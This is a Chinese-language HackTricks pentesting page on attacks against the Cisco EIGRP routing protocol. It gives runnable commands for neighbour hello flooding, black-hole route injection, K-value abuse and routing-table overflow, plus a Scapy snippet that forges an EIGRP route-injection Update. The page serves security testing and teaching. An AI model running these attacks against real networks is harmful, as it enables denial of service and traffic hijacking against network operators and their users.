EIGRP 攻击

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

这是对 https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9 中公开的攻击的总结。 请查看以获取更多信息。

伪造 EIGRP 邻居 攻击

  • Objective:通过用 EIGRP hello 包淹没路由器 CPU,使其过载,可能导致 Denial of Service (DoS) 攻击。
  • Toolhelloflooding.py 脚本。
  • Execution
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
  • Parameters
  • --interface:指定网络接口,例如 eth0
  • --as:定义 EIGRP autonomous system 编号,例如 1
  • --subnet:设置子网位置,例如 10.10.100.0/24

EIGRP 黑洞 攻击

  • Objective:通过注入错误路由来破坏网络流量,使流量被导向不存在的目标,从而形成黑洞。
  • Toolrouteinject.py 脚本。
  • Execution
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
  • Parameters
  • --interface:指定攻击者系统的接口。
  • --as:定义 EIGRP AS 编号。
  • --src:设置攻击者的 IP 地址。
  • --dst:设置目标子网 IP。
  • --prefix:定义目标子网 IP 的掩码长度。

滥用 K-Values 攻击

  • Objective:通过注入修改过的 K-values,在 EIGRP 域内制造持续的中断和重新连接,从而导致 DoS。
  • Toolrelationshipnightmare.py 脚本。
  • Execution
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
  • Parameters
  • --interface:指定网络接口。
  • --as:定义 EIGRP AS 编号。
  • --src:设置一个合法路由器的 IP 地址。

路由表溢出 攻击

  • Objective:通过向路由表注入大量错误路由来耗尽路由器的 CPU 和内存。
  • Toolroutingtableoverflow.py 脚本。
  • Execution
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
  • Parameters
  • --interface:指定网络接口。
  • --as:定义 EIGRP AS 编号。
  • --src:设置攻击者的 IP 地址。

对攻击有用的协议说明

  • HELLO 包携带 K-values,只有在匹配时邻居关系才会建立。 这是基于 K-value 不匹配/关系中断攻击的原理,也是为什么不匹配的 K-values 会阻止邻接的原因。
  • HELLO(以及初始 UPDATE)中的 PARAMETER TLV (Type 0x0001) 携带 K-values 和 Hold Time, 因此被动抓包可以揭示该段上使用的精确值。

Scapy 包构造(路由注入 / 伪造邻居)

Scapy 附带一个 EIGRP contrib 层,包含诸如 EIGRPParamEIGRPIntRoute 之类的 TLV,这足以构造用于路由注入的 UPDATE。示例改编自 davidbombal/scapy 的 EIGRP 路由注入脚本:

from scapy.all import *
load_contrib("eigrp")

sendp(Ether()/IP(src="192.168.1.248", dst="224.0.0.10") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPIntRoute(dst="192.168.100.0",
nexthop="192.168.1.248")]))

相同的仓库包含快速的“伪造邻居”脚本,这些脚本嗅探真实的 EIGRP 数据包并用伪造的源 IP 重放它以创建虚幻的邻居(可用于对 CPU/邻居表施加压力)。

  • Scapy EIGRP contrib 文档: https://scapy.readthedocs.io/en/latest/api/scapy.contrib.eigrp.html
  • 示例脚本: https://github.com/davidbombal/scapy

Routopsy & NSE 辅助工具

  • Routopsy 构建了一个虚拟路由器攻击实验室(FRRouting + Scapy),并包含可改编用于 EIGRP 测试的 DRP 攻击。 https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/
  • Nmap 的 NSE 包含一个用于解析/生成部分 EIGRP 数据包的小型 eigrp 库。 https://nmap.org/nsedoc/lib/eigrp.html

认证侦察

  • EIGRP named mode 支持 HMAC-SHA-256 authentication,通过 authentication mode hmac-sha-256 ... 配置。若启用,伪造的数据包必须使用正确的密钥进行认证;若未启用,伪造/注入则更容易成功并验证。

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks